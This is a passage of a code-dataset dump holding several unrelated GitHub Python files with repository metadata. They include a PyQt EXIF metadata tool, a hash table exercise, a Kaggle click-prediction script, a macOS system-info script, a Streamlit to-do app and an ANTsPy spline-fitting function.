self.img_nombre_txt.setObjectName(\"img_nombre_txt\")\n        self.grid1.addWidget(self.img_nombre_txt, 1, 0, 1, 1)\n        self.img_name_e = QtWidgets.QLineEdit(self.gridLayoutWidget)\n        self.img_name_e.setObjectName(\"img_name_e\")\n        self.grid1.addWidget(self.img_name_e, 1, 1, 1, 1)\n        self.titulo_txt = QtWidgets.QLabel(self.centralwidget)\n        self.titulo_txt.setGeometry(QtCore.QRect(140, 10, 121, 17))\n        self.titulo_txt.setObjectName(\"titulo_txt\")\n        self.abrir_img_b = QtWidgets.QToolButton(self.centralwidget)\n        self.abrir_img_b.setGeometry(QtCore.QRect(20, 140, 351, 291))\n        icon1 = QtGui.QIcon()\n        icon1.addPixmap(QtGui.QPixmap(\"img/no.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n        self.abrir_img_b.setIcon(icon1)\n        self.abrir_img_b.setIconSize(QtCore.QSize(250, 400))\n        self.abrir_img_b.setAutoRepeat(False)\n        self.abrir_img_b.setAutoExclusive(False)\n        self.abrir_img_b.setPopupMode(QtWidgets.QToolButton.DelayedPopup)\n        self.abrir_img_b.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n        self.abrir_img_b.setAutoRaise(False)\n        self.abrir_img_b.setObjectName(\"abrir_img_b\")\n        self.abrir_img_b.clicked.connect(self.abreimg)\n        self.horizontalLayoutWidget = QtWidgets.QWidget(self.centralwidget)\n        self.horizontalLayoutWidget.setGeometry(QtCore.QRect(20, 90, 351, 51))\n        self.horizontalLayoutWidget.setObjectName(\"horizontalLayoutWidget\")\n        self.horizontal1 = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget)\n        self.horizontal1.setContentsMargins(0, 0, 0, 0)\n        self.horizontal1.setObjectName(\"horizontal1\")        \n        self.ver_img_b = QtWidgets.QPushButton(self.horizontalLayoutWidget)\n        self.ver_img_b.setObjectName(\"ver_img_b\")\n        self.ver_img_b.clicked.connect(self.cambia_img) \n        self.horizontal1.addWidget(self.ver_img_b)        \n        self.ver_exif_b = QtWidgets.QPushButton(self.horizontalLayoutWidget)\n        self.ver_exif_b.setObjectName(\"ver_exif_b\")\n        self.ver_exif_b.clicked.connect(self.ver_exif)\n        self.horizontal1.addWidget(self.ver_exif_b)        \n        self.exportar_b = QtWidgets.QPushButton(self.horizontalLayoutWidget)\n        self.exportar_b.setObjectName(\"exportar_b\")\n        self.exportar_b.clicked.connect(self.exportar)\n        self.horizontal1.addWidget(self.exportar_b)        \n        self.borrar_exif_b = QtWidgets.QPushButton(self.horizontalLayoutWidget)\n        self.borrar_exif_b.setObjectName(\"borrar_exif_b\")  \n        self.borrar_exif_b.clicked.connect(self.limpiaExif)\n        self.horizontal1.addWidget(self.borrar_exif_b)\n        self.horizontalLayoutWidget_2 = QtWidgets.QWidget(self.centralwidget)\n        self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(139, 430, 231, 31))\n        self.horizontalLayoutWidget_2.setObjectName(\"horizontalLayoutWidget_2\")        \n        self.horizontal2 = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget_2)\n        self.horizontal2.setContentsMargins(0, 0, 0, 0)\n        self.horizontal2.setObjectName(\"horizontal2\")        \n        self.instala_txt = QtWidgets.QLabel(self.horizontalLayoutWidget_2)\n        self.instala_txt.setObjectName(\"instala_txt\")\n        self.horizontal2.addWidget(self.instala_txt) \n        self.si_radio = QtWidgets.QRadioButton(self.horizontalLayoutWidget_2)\n        if baseInsExif == \"SI\":\n            self.si_radio.setChecked(True)\n        self.si_radio.setObjectName(\"si_radio\")\n        self.si_radio.clicked.connect(self.instalar)\n        self.horizontal2.addWidget(self.si_radio)        \n        self.no_radio = QtWidgets.QRadioButton(self.horizontalLayoutWidget_2)\n        if baseInsExif == \"NO\":\n            self.no_radio.setChecked(True)        \n        self.no_radio.setObjectName(\"no_radio\")\n        self.no_radio.clicked.connect(self.instalar)\n        self.horizontal2.addWidget(self.no_radio)\n        self.horizontalLayoutWidget_3 = QtWidgets.QWidget(self.centralwidget)\n        self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(20, 460, 191, 31))\n        self.horizontalLayoutWidget_3.setObjectName(\"horizontalLayoutWidget_3\")        \n        self.horizontal3 = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget_3)\n        self.horizontal3.setContentsMargins(0, 0, 0, 0)\n        self.horizontal3.setObjectName(\"horizontal3\")        \n        self.idioma_txt = QtWidgets.QLabel(self.horizontalLayoutWidget_3)\n        self.idioma_txt.setObjectName(\"idioma_txt\")         \n        self.horizontal3.addWidget(self.idioma_txt)\n        self.sp_radio = QtWidgets.QRadioButton(self.horizontalLayoutWidget_3)\n        if baseidioma == \"SP\":\n            self.sp_radio.setChecked(True)                  \n        self.sp_radio.setObjectName(\"sp_radio\")\n        self.sp_radio.clicked.connect(self.idioma)\n        self.horizontal3.addWidget(self.sp_radio)        \n        self.en_radio = QtWidgets.QRadioButton(self.horizontalLayoutWidget_3)\n        if baseidioma == \"EN\":\n            self.en_radio.setChecked(True)            \n        self.en_radio.setObjectName(\"en_radio\")\n        self.en_radio.clicked.connect(self.idioma)\n        self.horizontal3.addWidget(self.en_radio)       \n        self.neo_txt = QtWidgets.QLabel(self.centralwidget)\n        self.neo_txt.setGeometry(QtCore.QRect(230, 470, 111, 17))\n        self.neo_txt.setStyleSheet(\"font: 9pt \\\"Ubuntu\\\";\")\n        self.neo_txt.setObjectName(\"neo_txt\")        \n        self.rutaE()\n        self.confInstala()        \n        MainWindow.setCentralWidget(self.centralwidget)                \n        if baseidioma == \"SP\":\n            self.retranslate_SP(MainWindow)  \n        else:\n            self.retranslate_EN(MainWindow)              \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)        \n    \n    def retranslate_SP(self, MainWindow):        \n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MetaData-Tool v.1\"))\n        self.ruta_txt.setText(_translate(\"MainWindow\", \"Ruta:\"))\n        self.img_nombre_txt.setText(_translate(\"MainWindow\", \"IMG Nombre:\"))\n        self.img_name_e.setText(_translate(\"MainWindow\", \".png, .jpg, .gif, .pdf, .zip, .doc, etc.\"))\n        self.titulo_txt.setText(_translate(\"MainWindow\", \"MetaData-Tool\"))\n        self.abrir_img_b.setText(_translate(\"MainWindow\", \"Abrir IMG\"))\n        self.ver_img_b.setText(_translate(\"MainWindow\", \"Ver IMG\"))\n        self.ver_exif_b.setText(_translate(\"MainWindow\", \"Ver Exif\"))\n        self.exportar_b.setText(_translate(\"MainWindow\", \"Exp. Exif\"))\n        self.borrar_exif_b.setText(_translate(\"MainWindow\", \"Limpiar Exif\"))\n        self.neo_txt.setText(_translate(\"MainWindow\", \"by Neo-Jack 2021\"))\n        self.instala_txt.setText(_translate(\"MainWindow\", \"Instalar ExifTool:\"))\n        self.si_radio.setText(_translate(\"MainWindow\", \"Si\"))\n        self.no_radio.setText(_translate(\"MainWindow\", \"No\"))\n        self.idioma_txt.setText(_translate(\"MainWindow\", \"Lenguaje:\"))\n        self.sp_radio.setText(_translate(\"MainWindow\", \"SP\"))\n        self.en_radio.setText(_translate(\"MainWindow\", \"EN\"))\n        \n        \n    def retranslate_EN(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MetaData-Tool v.1\"))\n        self.ruta_txt.setText(_translate(\"MainWindow\", \"File Path :\"))\n        self.img_nombre_txt.setText(_translate(\"MainWindow\", \"IMG Name:\"))\n        self.img_name_e.setText(_translate(\"MainWindow\", \".png, .jpg, .gif, .pdf, .zip, .doc, etc.\"))\n        self.titulo_txt.setText(_translate(\"MainWindow\", \"MetaData-Tool\"))\n        self.abrir_img_b.setText(_translate(\"MainWindow\", \"Open IMG\"))\n        self.ver_img_b.setText(_translate(\"MainWindow\", \"View IMG\"))\n        self.ver_exif_b.setText(_translate(\"MainWindow\", \"View Exif\"))\n        self.exportar_b.setText(_translate(\"MainWindow\", \"Exp. Exif\")) \n        self.borrar_exif_b.setText(_translate(\"MainWindow\", \"Wipe out Exif\"))\n        self.neo_txt.setText(_translate(\"MainWindow\", \"by Neo-Jack 2021\"))\n        self.instala_txt.setText(_translate(\"MainWindow\", \"Install ExifTool:\"))\n        self.si_radio.setText(_translate(\"MainWindow\", \"Yes\"))\n        self.no_radio.setText(_translate(\"MainWindow\", \"No\"))\n        self.idioma_txt.setText(_translate(\"MainWindow\", \"Language :\"))\n        self.sp_radio.setText(_translate(\"MainWindow\", \"SP\"))\n        self.en_radio.setText(_translate(\"MainWindow\", \"EN\"))\n\n\nif __name__ == \"__main__\":\n    import sys\n    app = QtWidgets.QApplication(sys.argv)\n    MainWindow = QtWidgets.QMainWindow()\n    ui = Ui_MainWindow()\n    ui.setupUi(MainWindow)\n    MainWindow.show()\n    sys.exit(app.exec_())\n","repo_name":"neo-jack-official/MetaData-Tool","sub_path":"metadata-tool.py","file_name":"metadata-tool.py","file_ext":"py","file_size_in_byte":22144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"30490830332","text":"from .forms import UserProfileForm\nfrom .models import UserProfile\n\n\ndef retrieve(request):\n    \"\"\" gets the UserProfile instance for a user,\n    creates one if it does not exist \"\"\"\n    try:\n        # Get the profile of the currently authenticated user\n        profile = UserProfile()\n    except UserProfile.DoesNotExist:\n        # If the User has not been created, create and save the\n        # profile instance for the user\n        profile = UserProfile(user=request.user)\n        profile.save()\n    return profile\n\n\ndef set(request):\n    \"\"\" updates the information stored in the user's profile \"\"\"\n    profile = retrieve(request)\n    profile_form = UserProfileForm(request.POST, instance=profile)\n    profile_form.save()\n","repo_name":"Pythonian/ecomstore","sub_path":"accounts/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36788706653","text":"# coding: utf-8\nfrom itertools import count, takewhile, tee\n\ndef prime_gen():\n    \"\"\" Gerador de números primos \"\"\"\n    yield 2\n    primes = []\n    for value in count(start=3, step=2):\n        iter_primes = takewhile(lambda x: x * x <= value, primes)\n        if all(value % p != 0 for p in iter_primes):\n            primes.append(value)\n            yield value\n\nprimes, primes_copy = tee(prime_gen(), 2)\n\nfor idx, p in enumerate(primes, 1):\n    print(u\"{:>5}º primo: {}\".format(idx, p))\n    if idx == 200:\n        break\n\nfor idx, p in enumerate(primes_copy, 1):\n    print(u\"{:>5}º primo ao quadrado: {}\".format(idx, p ** 2))\n    if idx == 200:\n        break\n","repo_name":"danilobellini/wta2015","sub_path":"code/13_prime.py","file_name":"13_prime.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"19382609742","text":"#!/usr/bin/python\n\nimport sys\n\nstopwords = ['the', 'is', 'and', 'in', 'of', 'a', 'to','in','its','i']\n\n# get all the lines from stdin\n\nfor line in sys.stdin:\n\n\t# removing all leading and trailing whitespaces\n\n\tline = line.strip()\n\n\t# split the line into words\n\twords = line.split()\n\n\tfilered_words = [text for text in words if text not in stopwords]\n\n\t#output tuples in tab-delimited format\n\tfor word in filered_words:\n\t\tprint(\"%s\\t%s\" % (word, \"1\"))\n\n\n# Read stopwords from the external file\n\n# stopwords_file = \"sw.txt\"\n# with open(stopwords_file, \"r\") as f:\n#     stopwords = set([line.strip() for line in f])\n","repo_name":"suruthi-dev/BDMA-lab","sub_path":"stopwords_python/code/map_sw.py","file_name":"map_sw.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40244011751","text":"import pandas as pd\n\n# read each label sas file\n# separate the variable and its label\n# add its year\n# convert to a dataframe\n# write to a csv file\n\n\n# Parses through label text file and separates the variable and its label.\n# Returns a list of lists.\ndef parse_text(year):\n    data = []\n    with open(f\"data/chis/{year}/ADULT_LABEL.SAS\") as f:\n        lines = f.readlines()\n        # iterate through each line except the first and last line\n        for line in lines[1:-1]:\n            # remove whitespace and then split on \"=\"\n            l = line.strip().split(\"=\")\n            l[0] = l[0].strip()\n\n            # Does not include columns that start with RAKED\n            if l[0].startswith(\"RAKED\") == False:\n                # remove whitespace and then the double quotes\n                l[1] = l[1].strip().strip('\\\"')\n                data.append(l)\n\n    return data\n\n\n# Creates the list of lists to a dataframe and adds the year\n# Returns the dataframe\ndef convert_to_dataframe(data, year):\n    df = pd.DataFrame(data, columns=[\"Variable\", \"Label\"])\n    df[\"Year\"] = year\n\n    return df\n\n\nif __name__ == \"__main__\":\n    # Creates new empty dataframe with 3 columns: Variable, Label, and Year\n    df = pd.DataFrame(columns=[\"Variable\", \"Label\", \"Year\"])\n\n    # List of years that we want\n    years = [2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020]\n\n    # Iterate through the years and parse each years ADULT_LABEL.SAS\n    # Convert to another dataframe and then concatenate both into one\n    for year in years:\n        data = parse_text(year)\n        df2 = convert_to_dataframe(data, year)\n        df = pd.concat([df, df2])\n\n    # Write to csv file\n    df.to_csv(\"data/variables12to20.csv\", index=False)\n","repo_name":"GitHubkhim/STATS170_Project","sub_path":"clean_labels.py","file_name":"clean_labels.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10155032896","text":"from xml.dom.minidom import Element\n'''\n\ndef get_hash(key):\n    sum = 0\n    for c in key:\n        sum += ord(c)\n    print(sum % 100)\n\nget_hash('march 6')\n\n# ==================================  ==============================\n\nclass HashTable:\n    def __init__(self):\n        self.MAX = 100\n        self.arr = [None]*self.MAX \n\n    def get_hash(self, key):\n        sum = 0\n        for c in key:\n            sum += ord(c)\n        return sum % self.MAX\n\n    def __setitem__(self, key, val):\n        h = self.get_hash(key)\n        self.arr[h] = val\n\n    def __getitem__(self, key):\n        h = self.get_hash(key)\n        return self.arr[h]\n\n    def __delitem__(self, key):\n        h = self.get_hash(key)\n        self.arr[h] = None\n\nh = HashTable()\nh['march 6'] = 302\nh['march 7'] = 303\nh['march 8'] = 304\nh['march 9'] = 305\n\nprint(h['march 7'])\n\ndel h['march 7']\nprint(h['march 7'])\n'''\n# ==========================================================================================\n\n\nclass HashTable:\n    def __init__(self):\n        self.MAX = 10\n        self.arr = [[] for i in range(self.MAX)] \n\n    def get_hash(self, key):\n        sum = 0\n        for c in key:\n            sum += ord(c)\n        return sum % self.MAX\n\n    def __setitem__(self, key, val):\n        h = self.get_hash(key)\n        found  = False\n        for idx, element in enumerate(self.arr[h]):\n            if len(element) == 2 and element[0] == key:\n                self.arr[h][idx] = (key, val)\n                found = True\n\n        if not found:\n            self.arr[h] .append((key, val))\n        \n\n    def __getitem__(self, key):\n        h = self.get_hash(key)\n        for kv in self.arr[h]:\n            if kv[0] == key:\n                return kv[1]\n\n\n    def __delitem__(self, key):\n        h = self.get_hash(key)\n        for index, kv in enumerate(self.arr[h]):\n            if kv[0] == key:\n                print(f\"Delete elementindex in : {index}\")\n                del self.arr[h][index]\n        \n\nt = HashTable()\nprint(t.get_hash('march 6'))\nprint(t.get_hash('march 17'))\n\n\nt['march 6'] = 123\nt['march 9'] = 163\nt['march 45'] = 523\nt['march 17'] = 923\n\nprint(t['march 6'])\nprint(t['march 17'])\nprint(t.arr)\n\nt['march 17'] = 999\nprint(t.arr)\n\ndel t['march 17']\n\nprint(t.arr)","repo_name":"Devamchangani/python-DSA","sub_path":"Data structure/Hash table.py","file_name":"Hash table.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"29538387246","text":"import warnings\nimport numpy as np\nimport pandas as pd\nimport random\nimport gzip\nimport io\nimport datetime\n\nwarnings.filterwarnings('ignore')\n\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom datetime import date, datetime\nfrom xgboost import XGBClassifier\n\n# 1. Preprocessing\n\n# 1.1 Randomized line extraction\n\nline_count = 40428968\nn = 100000\nskip = sorted(random.sample(range(1,line_count + 1), line_count - n))\ndf = pd.read_csv(\"train.gz\", skiprows=skip, index_col=0)\n\n# 1.3 Preprocessing\n\ndf[\"weekday\"] = df[\"hour\"].apply(lambda x: datetime.strptime(str(x), '%y%m%d%H').weekday())\ndf[\"hour\"] = df[\"hour\"].apply(lambda x: int(str(x)[-2:]))\ndf[\"area\"] = df[\"C15\"] * df[\"C16\"]\n\n# Separation X / y\n\ny = df[['click']]\nX = df[['C1', 'hour', 'banner_pos', 'site_category', 'app_category', 'device_type', 'device_conn_type', 'C14', 'C15', 'C16', 'C17', 'C18', \n           'C19', 'C20','C21', 'area', 'weekday', 'User_freq']]\n\n# C20 column preparation\n\nX['C20'] = X['C20'].replace(-1, np.nan)\nX['C20'] = X['C20'].replace(np.nan, X['C20'].median())\n\n# One hot encoding with get_dummies\n\ncolumns_to_encode = ['device_type', 'device_conn_type', 'site_category', 'app_category', 'banner_pos', 'C18']\ndf_full_columns = pd.read_csv(\"train.gz\", usecols=columns_to_encode)\nfor col in columns_to_encode:\n    X[col] = X[col].astype('category', categories = df_full_columns[col].unique().tolist())\nX = pd.get_dummies(X, columns=columns_to_encode, prefix = columns_to_encode)\n\n# 1.4. Folding\n\nX_train, X_test, y_train, y_test = train_test_split(X,y,test_size=0.2, shuffle=False)\n\n# 2. LogisticRegression (a gridsearch was implemented to determine the hyperparameters)\n\nlr = LogisticRegression(penalty='l1',\n                        solver='liblinear',\n                        C=0.1,\n                        verbose=2)\nlr.fit(X,y)\n\n# 3. XGBoost (a gridsearch was implemented to determine the hyperparameters)\n\nxgb = XGBClassifier(verbose=2,\n                    n_jobs=-1,\n                    max_depth=4, \n                    learning_rate=0.2,\n                    colsample_bytree=0.9,\n                    n_estimators=600,\n                    reg_alpha=1,\n                    reg_lambda=1, \n                    objective='binary:logistic',\n                    booster='gbtree')\nxgb.fit(X,y)\n\n# ## 4. RandomForests\n\nrf = RandomForestClassifier(n_jobs=-1)\nrf.fit(X,y)\n\n# ## 5. Blending\n\nlr_preds = lr.predict_proba(X_test)\nxgb_preds = xgb.predict_proba(X_test)\nrf_preds = rf.predict_proba(X_test)\n\npreds_table = pd.DataFrame({\"LR\":lr_preds[:,1], \"XGBoost\":xgb_preds[:,1], \"RandomForests\":rf_preds[:,1]}, index=X_test.index)\n\n# We use a LogisiticRegression to determine how to blend the models predictions\n\nlr_blending = LogisticRegression(penalty='l1',\n                                 solver='liblinear',\n                                 C=0.5,\n                                 verbose=2)\nlr_blending.fit(preds_table, y_test)\n\n# 5. Predictions on test.gz\n\ntest = pd.read_csv(\"test.gz\")\n\ntest[\"weekday\"] = test[\"hour\"].apply(lambda x: datetime.strptime(str(x), '%y%m%d%H').weekday())\ntest[\"hour\"] = test[\"hour\"].apply(lambda x: int(str(x)[-2:]))\ntest[\"area\"] = test[\"C15\"] * test[\"C16\"]\n\ntest['User_freq'] = test['device_id'] + test['device_ip'] + test['device_model'] #on crée une feature user \nvalues = test['User_freq'].value_counts() # on remplace la valeur de user par sa fréquence d'apparition\ntest['User_freq'] = test['User_freq'].apply(lambda row: values[row])\n\ntest = test[['C1', 'hour', 'banner_pos', 'site_category', 'app_category', 'device_type', 'device_conn_type', 'C14','C15', 'C16', 'C17', 'C18', \n           'C19', 'C20','C21', 'area', 'weekday', 'User_freq']]\n\ntest['C20'] = test['C20'].replace(-1, np.nan)\ntest['C20'] = test['C20'].replace(np.nan, X['C20'].median())\n\nfor col in columns_to_encode:\n    test[col] = test[col].astype('category',categories = df_full_columns[col].unique().tolist())\n\ntest = pd.get_dummies(test, columns=columns_to_encode, prefix = columns_to_encode)\n\nlr_preds_test = lr.predict_proba(test)\nxgb_preds_test = xgb.predict_proba(test)\nrf_preds_test = rf.predict_proba(test)\n\npreds_table_final = pd.DataFrame({\"LR\":lr_preds_test[:,1], \"XGBoost\":xgb_preds_test[:,1], \"RandomForests\":rf_preds_test[:,1]}, index=test.index)\n\n# 5.2. Export for the evaluation on kaggle.com\n\npreds = lr_blending.predict_proba(preds_table_final)[:,1]\nsubmission_file = pd.read_csv(\"sampleSubmission.gz\")\nsubmission_file['click'] = preds\nsubmission_file.to_csv(path_or_buf= './submission_files/preds_' + datetime.now().strftime(\"%d%m%Y-%H%M%S\") + '.gz', index = False, sep = ',', compression='gzip')\n\n","repo_name":"alphonsedoutriaux/kaggle-avazu","sub_path":"Avazu_Alphonse_Doutriaux.py","file_name":"Avazu_Alphonse_Doutriaux.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22398287962","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\nimport platform\nimport subprocess\nimport re\n\n# Function to run a shell command and return the output\ndef run_command(command):\n    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n    output, _ = process.communicate()\n    return output.decode('utf-8').strip()\n\n# Function to get disk usage\ndef get_disk_usage():\n    df_output = run_command('df -kh')\n    df_lines = df_output.split('\\n')[1:]\n    \n    disk_usage = []\n    for line in df_lines:\n        parts = line.split()\n        if len(parts) >= 5:\n            filesystem = parts[0]\n            size = parts[1]\n            used = parts[2]\n            available = parts[3]\n            percentage_used = parts[4]\n            \n            # Handle the case when the percentage used is not in a recognized format\n            try:\n                percentage = float(percentage_used.strip('%'))\n            except ValueError:\n                percentage = 0.0\n            \n            disk_usage.append({\n                'Filesystem': filesystem,\n                'Size': size,\n                'Used': used,\n                'Available': available\n            })\n    return disk_usage\n\n\n# Function to get network cards and their IP addresses\ndef get_network_cards():\n    network_cards_output = run_command('networksetup -listallhardwareports')\n    network_cards_lines = network_cards_output.split('\\n')\n    network_cards = []\n    for line in network_cards_lines:\n        if line.startswith('Hardware Port:'):\n            network_card = line.split(':')[1].strip()\n            network_cards.append(network_card)\n    \n    ip_addresses_output = run_command('ifconfig | grep \"inet \" | awk \\'{print $2}\\'')\n    ip_addresses = ip_addresses_output.split('\\n')\n    \n    # Print the number of network cards\n    print('Total Network Cards:', len(network_cards))\n    \n    return network_cards, ip_addresses\n\n# Get system information\ndef get_system_info():\n    system_info = {}\n    \n    # Get host name\n    host_name = run_command('scutil --get ComputerName')\n    system_info['Host Name'] = host_name\n    \n    # Get operating system information\n    os_name = platform.system()\n    os_version = platform.mac_ver()[0]\n    os_build = run_command('sw_vers -buildVersion')\n    os_manufacturer = platform.system()\n    system_info['OS Name'] = os_name\n    system_info['OS Version'] = os_version\n    system_info['OS Build'] = os_build\n    system_info['OS Manufacturer'] = os_manufacturer\n    \n    # Get processor information\n    processor_name = run_command('sysctl -n machdep.cpu.brand_string')\n    system_info['Processor'] = processor_name\n    \n    # Get memory information\n    memory_info = run_command('sysctl -n hw.memsize')\n    system_info['Memory'] = memory_info\n    \n    # Get disk usage information\n    disk_usage = get_disk_usage()\n    system_info['Disk Usage'] = disk_usage\n\n    # Get network cards and their IP addresses\n    network_cards, ip_addresses = get_network_cards()\n    system_info['Network Cards'] = network_cards\n    system_info['IP Addresses'] = ip_addresses\n\n    return system_info\n\n# Get and print system information\nsystem_info = get_system_info()\nfor key, value in system_info.items():\n    print(f'{key}:')\n    if key == 'Disk Usage':\n        for disk in value:\n            print(f'Filesystem: {disk[\"Filesystem\"]}')\n            print(f'Used: {disk[\"Used\"]}')\n            print(f'Available: {disk[\"Available\"]}')\n            print('-' * 50)\n    elif key == 'Network Cards':\n        print(f'Total Network Cards: {len(value)}')\n        for card in value:\n            print(card)\n    else:\n        print(value)\n    print('--' * 50)\n#end \n","repo_name":"manasvi19/Get-system-info","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22088445692","text":"import streamlit\nimport functions\n# import PySimpleGUI\n\n# PySimpleGUI.theme(\"BLACK\")\n\nstreamlit.set_page_config(layout='wide')\n\ntasks = functions.get_testdata()\n\n\ndef add_task():\n    task = streamlit.session_state[\"new_task\"] + \"\\n\"\n    tasks.append(task)\n    functions.wrt_testdata(tasks)\n\n\nstreamlit.title(\"TASKS TO DO\")\nstreamlit.subheader(\"This is developed for Bhavya Sri :)\")\n\nstreamlit.text_input(label=\"\", placeholder=\"Add new task or \"\n                                           \"to delete check the box beside task\",\n                     on_change=add_task, key=\"new_task\")\n\nfor index, task in enumerate(tasks):\n    checkbox = streamlit.checkbox(task, key=task)\n    if checkbox:\n        tasks.pop(index)\n        functions.wrt_testdata(tasks)\n        del streamlit.session_state[task]\n        streamlit.experimental_rerun()\n\n\n","repo_name":"kanumuripa/web-app","sub_path":"web-app.py","file_name":"web-app.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73026948199","text":"__all__ = [\"fit_thin_plate_spline_displacement_field\"]\n\nimport numpy as np\n\nfrom ..core import ants_image as iio\nfrom .. import core\nfrom .. import utils\n\n\ndef fit_thin_plate_spline_displacement_field(displacement_origins=None,\n                                             displacements=None,\n                                             origin=None,\n                                             spacing=None,\n                                             size=None,\n                                             direction=None):\n\n    \"\"\"\n    Fit a thin-plate spline object to a a set of points with associated displacements.  \n    This is basically a wrapper for the ITK filter\n\n    https://itk.org/Doxygen/html/itkThinPlateSplineKernelTransform_8h.html\n\n    ANTsR function: `fitThinPlateSplineToDisplacementField`\n\n    Arguments\n    ---------\n\n    displacement_origins : 2-D numpy array\n        Matrix (number_of_points x dimension) defining the origins of the input\n        displacement points.  Default = None.\n\n    displacements : 2-D numpy array\n        Matrix (number_of_points x dimension) defining the displacements of the input\n        displacement points.  Default = None.\n\n    origin : n-D tuple\n        Defines the physical origin of the B-spline object.\n\n    spacing : n-D tuple\n        Defines the physical spacing of the B-spline object.\n\n    size : n-D tuple\n       Defines the size (length) of the spline object.  Note that the length of the\n       spline object in dimension d is defined as spacing[d] * size[d]-1.\n\n    direction : 2-D numpy array\n       Booleans defining whether or not the corresponding parametric dimension is\n       closed (e.g., closed loop).  Default = None.\n\n    Returns\n    -------\n    Returns an ANTsImage.\n\n    Example\n    -------\n    >>> # Perform 2-D fitting\n    >>>\n    >>> import ants, numpy\n    >>>\n    >>> points = numpy.array([[-50, -50]])\n    >>> deltas = numpy.array([[10, 10]])\n    >>>\n    >>> tps_field = ants.fit_thin_plate_spline_displacement_field(\n    >>>   displacement_origins=points, displacements=deltas,\n    >>>   origin=[0.0, 0.0], spacing=[1.0, 1.0], size=[100, 100],\n    >>>   direction=numpy.array([[-1, 0], [0, -1]]))\n    \"\"\"\n\n    dimensionality = displacement_origins.shape[1]\n    if displacements.shape[1] != dimensionality:\n        raise ValueError(\"Dimensionality between origins and displacements does not match.\")\n\n    if displacement_origins is None or displacement_origins is None:\n        raise ValueError(\"Missing input.  Input point set (origins + displacements) needs to be specified.\" )\n\n    if origin is not None and len(origin) != dimensionality:\n        raise ValueError(\"Origin is not of length dimensionality.\")\n\n    if spacing is not None and len(spacing) != dimensionality:\n        raise ValueError(\"Spacing is not of length dimensionality.\")\n\n    if size is not None and len(size) != dimensionality:\n        raise ValueError(\"Size is not of length dimensionality.\")\n\n    if direction is not None and (direction.shape[0] != dimensionality and direction.shape[1] != dimensionality):\n        raise ValueError(\"Direction is not of shape dimensionality x dimensionality.\")\n\n    # It would seem that pybind11 doesn't really play nicely when the\n    # arguments are 'None'\n\n    if origin is None:\n        origin = np.empty(0)\n\n    if spacing is None:\n        spacing = np.empty(0)\n\n    if size is None:\n        size = np.empty(0)\n\n    if direction is None:\n        direction = np.empty((0, 0))\n\n    tps_field = None\n    libfn = utils.get_lib_fn(\"fitThinPlateSplineDisplacementFieldToScatteredDataD%i\" % (dimensionality))\n    tps_field = libfn(displacement_origins, displacements, origin, spacing, size, direction)\n\n    tps_displacement_field = iio.ANTsImage(pixeltype='float',\n        dimension=dimensionality, components=dimensionality,\n        pointer=tps_field).clone('float')\n    return tps_displacement_field\n\n","repo_name":"ANTsX/ANTsPy","sub_path":"ants/utils/fit_thin_plate_spline_displacement_field.py","file_name":"fit_thin_plate_spline_displacement_field.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","stars":499,"dataset":"github-code","pt":"18"}
{"seq_id":"75324505959","text":"#!/usr/bin/env python\n\n\n\"\"\"Plot the residual, data, and total loss functions by model.\n\nPlot the residual, data, and total loss functions by model.\nThe plots are saved as a single PNG file.\n\"\"\"\n\n\n# Import standard modules.\nimport argparse\nimport importlib\nimport os\nimport sys\n\n# # Import 3rd-party modules.\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Import project-specific modules.\nfrom pinn import standard_plots\n\n\n# Program constants and defaults\n\n# Program description.\nDESCRIPTION = (\n    \"Plot the residual, data, and total loss functions by model.\"\n)\n\n# Default maximum and minimum values to show in loss function plots.\nDEFAULT_LMIN = 1.0e-9\nDEFAULT_LMAX = 1.0\n\n\ndef create_command_line_parser():\n    \"\"\"Create the command-line argument parser.\n\n    Create the command-line argument parser.\n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    parser : argparse.ArgumentParser\n        Command-line argument parser for this script.\n    \"\"\"\n    parser = argparse.ArgumentParser(description=DESCRIPTION)\n    parser.add_argument(\n        \"--debug\", \"-d\", action=\"store_true\",\n        help=\"Print debugging output (default: %(default)s).\"\n    )\n    parser.add_argument(\n        \"--Lmax\", 